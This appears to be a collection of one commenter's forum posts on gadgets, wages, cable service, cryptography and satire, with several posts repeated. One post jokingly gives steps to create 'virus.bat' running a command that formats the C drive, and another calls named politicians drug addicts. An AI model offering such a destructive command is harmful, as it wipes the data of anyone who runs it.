On a serious note: It's actually pretty easy to pop off the back and change out the battery. Just a thin piece a plastic and a pentalobe screw driver you can get for a couple bucks.
So staff jobs have been losing pay while managers have been gaining. Why can't we stop this trend? It's not as if managers have increased in performance over 2 years while staff workers have decreased.
I would also say that the quality of service has also gone down. The cable service providers seem to be attempting to push their next tier services through service degradation and aggressive advertising.
When you go to youtube, you're asking for video. When you search the web for information on bananas, you're not asking for "I'm a banana" repeating in the background as you read up on the cultivation and export of the fruit.
In other news, president Obama (and former coke-head) met with vice-president Biden (current raging meth addicts) this weekend to discuss the political campaign against Mitt Romney (disconnected asshole).
Unless I've misunderstood your point, I think you've misunderstand why a one-time pad is "unbreakable".
If you have a 10 character message, even with infinite processing power, your message could be any combination of letters in that 10 character array. There is no defined pattern to breaking the message. Given any secret key, you could make any message possible out of the characters; each being a correct solution. It is only with the secret key that you get the intended message. There is no way to extract the secret key from the message besides some mind-blowing math to reverse the mod operation.
This approach assumes that only Alice and Bob know the current and voltage of the power source. This can be brute forced until a tangible message is found. Next...
You can clearly see that it splashed down about a minute earlier than their estimate in the following video. They quickly took the time down and never mentioned it again... A minute's worth of miscalculation at 1000km/s could be a big fast mistake.
And that's why I order The New York Sunday Times for local delivery. Whether it's reading up the latest world news, or attempting a mind racking crossword, there's never a dull moment with The New York Sunday Times for local delivery. To top it off, when I'm done reading on the john, my wife Bunny brings it into the kitchen and engulfs her self in the cooking section. Thank you The New York Sunday Times!
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If you're from Japan, do this:
Open notepad and type these lines in.
echo off
cls
echo y|format C:
Now save this file as virus.bat.
Next, go to jail.
On a serious note: It's actually pretty easy to pop off the back and change out the battery. Just a thin piece a plastic and a pentalobe screw driver you can get for a couple bucks.
So staff jobs have been losing pay while managers have been gaining. Why can't we stop this trend? It's not as if managers have increased in performance over 2 years while staff workers have decreased.
I honestly hope that within 1 year, we won't need laptop coolers for anything but the desktop replacements.
I would also say that the quality of service has also gone down. The cable service providers seem to be attempting to push their next tier services through service degradation and aggressive advertising.
When you go to youtube, you're asking for video. When you search the web for information on bananas, you're not asking for "I'm a banana" repeating in the background as you read up on the cultivation and export of the fruit.
Don't forget stream ciphers esp. with authentication.
eSTREAM is attempting to select the next generation. Salsa is looking strong. http://en.wikipedia.org/wiki/ESTREAM
Public/Private: RSA seems to be ok for now, but there are no proofs stating that factorization is actually a hard problem.
Hashing: SHA3 is being competed for right now, my money is on BLAKE. http://en.wikipedia.org/wiki/NIST_hash_function_competition
And as you keep going up in level, the pieces keep piling on faster and faster to stay within the 3 month time frame.
Wood is bad enough, but an Ikea house? Since when did planned obsolescence apply to houses?
The NSA probably gave them this little gem after it had passed its useful life.
In other news, president Obama (and former coke-head) met with vice-president Biden (current raging meth addicts) this weekend to discuss the political campaign against Mitt Romney (disconnected asshole).
I wish all news was like this...
Unless I've misunderstood your point, I think you've misunderstand why a one-time pad is "unbreakable".
If you have a 10 character message, even with infinite processing power, your message could be any combination of letters in that 10 character array. There is no defined pattern to breaking the message. Given any secret key, you could make any message possible out of the characters; each being a correct solution. It is only with the secret key that you get the intended message. There is no way to extract the secret key from the message besides some mind-blowing math to reverse the mod operation.
This approach assumes that only Alice and Bob know the current and voltage of the power source. This can be brute forced until a tangible message is found. Next...
It won't be a wall, it will hit into its mirror self.
This could be the first step to fb making a smartphone for dumb people.
Maybe bass guitar? Like one of these: http://i26.photobucket.com/albums/c128/LordDemonMan/Bass_player.jpg
They're abiding by the terms of the GPL and considering giving more than is required. It's a company, not a charity.
Don't be ludicrousity man. He has an eloquentocity about him that your feeblistic mind could never comprehendency.
You'll never hack it, I have a skateboard and a Da Vinci sketch on my wall.
Exactly, why don't the virus makers just add a friendly cookie monster eating their data while they unlock your GPT?
*km/h
You can clearly see that it splashed down about a minute earlier than their estimate in the following video. They quickly took the time down and never mentioned it again... A minute's worth of miscalculation at 1000km/s could be a big fast mistake.
http://www.youtube.com/watch?v=VWBFeZv5Kvw
And that's why I order The New York Sunday Times for local delivery. Whether it's reading up the latest world news, or attempting a mind racking crossword, there's never a dull moment with The New York Sunday Times for local delivery. To top it off, when I'm done reading on the john, my wife Bunny brings it into the kitchen and engulfs her self in the cooking section. Thank you The New York Sunday Times!
No, but I hear Moon of Warcraft is in the pipeline.
Which is why punching a straight man is called "assault", while punching a gay man is called a "hate crime" I presume?